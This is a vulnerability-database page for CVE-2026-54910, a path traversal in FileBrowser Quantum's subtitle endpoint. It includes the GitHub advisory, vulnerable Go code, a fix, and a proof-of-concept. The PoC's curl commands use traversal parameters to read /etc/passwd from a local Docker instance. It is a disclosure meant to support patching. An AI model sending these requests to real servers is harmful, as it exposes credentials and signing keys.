Vulnerability-Lookup

CVE-2026-54910 (GCVE-0-2026-54910)

Vulnerability from cvelistv5 – Published: 2026-07-20 14:20 – Updated: 2026-07-20 14:52

Title

FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files

Summary

FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to version 1.4.3-beta, the `subtitlesHandler` endpoint (`GET /api/media/subtitles`) accepts two user-controlled query parameters: `path` and `name`, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors. The primary vector is the `path` parameter: it is passed directly to `idx.GetRealPath()` without calling `SanitizeUserPath()`, allowing an attacker to escape the storage root and set `parentDir` to any directory on the host. No existing anchor file is required. The secondary vector is the `name` parameter: it is joined with `parentDir` via `filepath.Join(parentDir, name)` without stripping directory components, allowing traversal relative to any resolved `parentDir`. Any authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including `/etc/passwd`, SSH keys, database credentials, and JWT signing keys. Version 1.4.3-beta patches the issue.

Severity

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-20 14:51 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-23 - Relative Path Traversal

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/gtsteffaniak/filebrowser/secur…	x_refsource_CONFIRM
https://github.com/gtsteffaniak/filebrowser/commi…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
gtsteffaniak	filebrowser	Affected: < 1.4.3-beta	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-54910

Vulnerability from fkie_nvd - Published: 2026-07-20 15:16 - Updated: 2026-07-23 17:58

Severity

7.7 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/gtsteffaniak/filebrowser/commit/f3f4bbe80cb569d664174aea874d7bfa008c3b5a
	security-advisories@github.com	https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-vvp7-h4fj-m28w
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-vvp7-h4fj-m28w

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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          "product": "filebrowser",
          "vendor": "gtsteffaniak",
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  ],
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    {
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    }
  ],
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  "lastModified": "2026-07-23T17:58:34.990",
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}

GHSA-VVP7-H4FJ-M28W

Vulnerability from github – Published: 2026-07-31 22:35 – Updated: 2026-07-31 22:35

Summary

FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files

Details

Summary

The subtitlesHandler endpoint (GET /api/media/subtitles) accepts two user-controlled query parameters: path and name, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors.

The primary vector is the path parameter: it is passed directly to idx.GetRealPath() without calling SanitizeUserPath(), allowing an attacker to escape the storage root and set parentDir to any directory on the host. No existing anchor file is required.

The secondary vector is the name parameter: it is joined with parentDir via filepath.Join(parentDir, name) without stripping directory components, allowing traversal relative to any resolved parentDir.

Any authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including /etc/passwd, SSH keys, database credentials, and JWT signing keys.

Details

1. path parameter lacks SanitizeUserPath() — primary vector (http/media.go:54)

userscope, err := d.user.GetScopeForSourceName(source)
// ...
realPath, _, err := idx.GetRealPath(userscope, path)  // path is raw user input, no sanitization
// ...
parentDir := filepath.Dir(realPath)  // line 59: attacker controls this directory

SanitizeUserPath() explicitly rejects .. segments:

func SanitizeUserPath(userPath string) (string, error) {
    // ...
    for _, segment := range segments {
        if segment == ".." {
            return "", fmt.Errorf("invalid path: path traversal detected")
        }
    }
    // ...
}

Every other handler in the codebase calls SanitizeUserPath() before GetRealPath(). This handler skips it, so path=../../etc/passwd resolves parentDir to /etc, with no anchor file required.

2. name parameter used directly in filepath.Join — secondary vector (http/media.go:63)

name := r.URL.Query().Get("name")  // line 37 — raw user input
// ...
content, err = utils.GetSubtitleSidecarContent(
    filepath.Join(parentDir, name))  // line 63 — TRAVERSAL

filepath.Join(parentDir, "../../etc/passwd") resolves the .. components, escaping parentDir. This vector requires a valid file in scope as the path anchor.

3. GetSubtitleSidecarContent reads and returns file contents (common/utils/media.go:17-43)

func GetSubtitleSidecarContent(subtitlePath string) (string, error) {
    info, err := os.Stat(subtitlePath)        // follows the traversed path
    // size check: < 50MB
    isText, err := IsTextFile(subtitlePath)   // checks UTF-8 validity
    content, err := os.ReadFile(subtitlePath) // reads and returns content
    return string(content), nil
}

The only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string.

4. Endpoint is behind withUser but requires no special permissions

// httpRouter.go
api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler))

Any authenticated user can access this endpoint: no admin, modify, share, or download permission is required.

PoC

Vector 1: path traversal (no anchor file needed):

docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN"

Expected output: /etc/passwd contents with HTTP 200.

Vector 2: name traversal (anchor file required):

mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt
docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN"

Expected output: /etc/passwd contents with HTTP 200.

Impact

Arbitrary file read: Any authenticated user can read any text file on the host filesystem that the server process has read permission for.
No anchor file required: The path vector works on a default install with an empty storage root, so no existing file in scope is needed.
Scope bypass: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system.
Credential exposure: /etc/passwd, /etc/shadow (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets.
Privilege escalation: Reading the JWT signing key from the database or config file enables forging admin tokens.
No special permissions required: The endpoint only requires basic authentication: no admin, modify, share, or download permissions.

Recommended Fix

Apply SanitizeUserPath() to the path parameter and filepath.Base() to the name parameter:

// http/media.go, subtitlesHandler

// Sanitize path parameter (like all other handlers)
path, err := utils.SanitizeUserPath(path)
if err != nil {
    return http.StatusBadRequest, err
}

// Strip directory components from name to prevent traversal
name = filepath.Base(name)

SanitizeUserPath() rejects any .. segment. filepath.Base("../../etc/passwd") returns "passwd", preventing traversal via name. Additionally, consider adding a file extension allowlist to restrict name to subtitle formats (.srt, .vtt, .ass, .ssa, .sub) only.

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gtsteffaniak/filebrowser/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260608182036-f3f4bbe80cb5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54910"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T22:35:05Z",
    "nvd_published_at": "2026-07-20T15:16:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `subtitlesHandler` endpoint (`GET /api/media/subtitles`) accepts two user-controlled query parameters: `path` and `name`, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors.\n\nThe primary vector is the `path` parameter: it is passed directly to `idx.GetRealPath()` without calling `SanitizeUserPath()`, allowing an attacker to escape the storage root and set `parentDir` to any directory on the host. No existing anchor file is required. \n\nThe secondary vector is the `name` parameter: it is joined with `parentDir` via `filepath.Join(parentDir, name)` without stripping directory components, allowing traversal relative to any resolved `parentDir`.\n\nAny authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including `/etc/passwd`, SSH keys, database credentials, and JWT signing keys.\n\n### Details\n\n**1. `path` parameter lacks `SanitizeUserPath()` \u2014 primary vector (`http/media.go:54`)**\n\n```go\nuserscope, err := d.user.GetScopeForSourceName(source)\n// ...\nrealPath, _, err := idx.GetRealPath(userscope, path)  // path is raw user input, no sanitization\n// ...\nparentDir := filepath.Dir(realPath)  // line 59: attacker controls this directory\n```\n\n`SanitizeUserPath()` explicitly rejects `..` segments:\n\n```go\nfunc SanitizeUserPath(userPath string) (string, error) {\n    // ...\n    for _, segment := range segments {\n        if segment == \"..\" {\n            return \"\", fmt.Errorf(\"invalid path: path traversal detected\")\n        }\n    }\n    // ...\n}\n```\n\nEvery other handler in the codebase calls `SanitizeUserPath()` before `GetRealPath()`. This handler skips it, so `path=../../etc/passwd` resolves `parentDir` to `/etc`, with no anchor file required.\n\n**2. `name` parameter used directly in `filepath.Join` \u2014 secondary vector (`http/media.go:63`)**\n\n```go\nname := r.URL.Query().Get(\"name\")  // line 37 \u2014 raw user input\n// ...\ncontent, err = utils.GetSubtitleSidecarContent(\n    filepath.Join(parentDir, name))  // line 63 \u2014 TRAVERSAL\n```\n\n`filepath.Join(parentDir, \"../../etc/passwd\")` resolves the `..` components, escaping `parentDir`. This vector requires a valid file in scope as the `path` anchor.\n\n**3. `GetSubtitleSidecarContent` reads and returns file contents (`common/utils/media.go:17-43`)**\n\n```go\nfunc GetSubtitleSidecarContent(subtitlePath string) (string, error) {\n    info, err := os.Stat(subtitlePath)        // follows the traversed path\n    // size check: \u003c 50MB\n    isText, err := IsTextFile(subtitlePath)   // checks UTF-8 validity\n    content, err := os.ReadFile(subtitlePath) // reads and returns content\n    return string(content), nil\n}\n```\n\nThe only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string.\n\n**4. Endpoint is behind `withUser` but requires no special permissions**\n\n```go\n// httpRouter.go\napi.HandleFunc(\"GET /media/subtitles\", withUser(subtitlesHandler))\n```\n\nAny authenticated user can access this endpoint: no admin, modify, share, or download permission is required.\n\n### PoC\n\n**Vector 1: `path` traversal (no anchor file needed):**\n\n```bash\ndocker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest \u0026\u0026 sleep 3\nTOKEN=$(curl -s -X POST \"http://localhost:18080/api/auth/login?username=admin\" -H \"X-Password: admin\" | tr -d \u0027\"\u0027)\ncurl \"http://localhost:18080/api/media/subtitles?path=../../etc/passwd\u0026source=srv\u0026name=passwd\u0026embedded=false\u0026auth=$TOKEN\"\n```\n**Expected output:** `/etc/passwd` contents with HTTP 200.\n\n**Vector 2: `name` traversal (anchor file required):**\n\n```bash\nmkdir -p /tmp/fbq-srv \u0026\u0026 echo \"dummy\" \u003e /tmp/fbq-srv/poc.txt\ndocker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest \u0026\u0026 sleep 3\nTOKEN=$(curl -s -X POST \"http://localhost:18081/api/auth/login?username=admin\" -H \"X-Password: admin\" | tr -d \u0027\"\u0027)\ncurl \"http://localhost:18081/api/media/subtitles?path=/poc.txt\u0026source=srv\u0026name=../../etc/passwd\u0026embedded=false\u0026auth=$TOKEN\"\n```\n**Expected output:** `/etc/passwd` contents with HTTP 200.\n\n### Impact\n\n- **Arbitrary file read**: Any authenticated user can read any text file on the host filesystem that the server process has read permission for.\n- **No anchor file required**: The `path` vector works on a default install with an empty storage root, so no existing file in scope is needed.\n- **Scope bypass**: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system.\n- **Credential exposure**: `/etc/passwd`, `/etc/shadow` (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets.\n- **Privilege escalation**: Reading the JWT signing key from the database or config file enables forging admin tokens.\n- **No special permissions required**: The endpoint only requires basic authentication: no admin, modify, share, or download permissions.\n\n### Recommended Fix\n\nApply `SanitizeUserPath()` to the `path` parameter and `filepath.Base()` to the `name` parameter:\n\n```go\n// http/media.go, subtitlesHandler\n\n// Sanitize path parameter (like all other handlers)\npath, err := utils.SanitizeUserPath(path)\nif err != nil {\n    return http.StatusBadRequest, err\n}\n\n// Strip directory components from name to prevent traversal\nname = filepath.Base(name)\n```\n\n`SanitizeUserPath()` rejects any `..` segment. `filepath.Base(\"../../etc/passwd\")` returns `\"passwd\"`, preventing traversal via `name`. Additionally, consider adding a file extension allowlist to restrict `name` to subtitle formats (`.srt`, `.vtt`, `.ass`, `.ssa`, `.sub`) only.",
  "id": "GHSA-vvp7-h4fj-m28w",
  "modified": "2026-07-31T22:35:05Z",
  "published": "2026-07-31T22:35:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-vvp7-h4fj-m28w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54910"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/pull/2524"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/commit/f3f4bbe80cb569d664174aea874d7bfa008c3b5a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gtsteffaniak/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.4.3-beta"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FileBrowser Quantum\u0027s path traversal issue in subtitle handler allows any authenticated user to read arbitrary files"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-54910 (GCVE-0-2026-54910)

FKIE_CVE-2026-54910

GHSA-VVP7-H4FJ-M28W

Summary

Details

PoC

Impact

Recommended Fix

Tags

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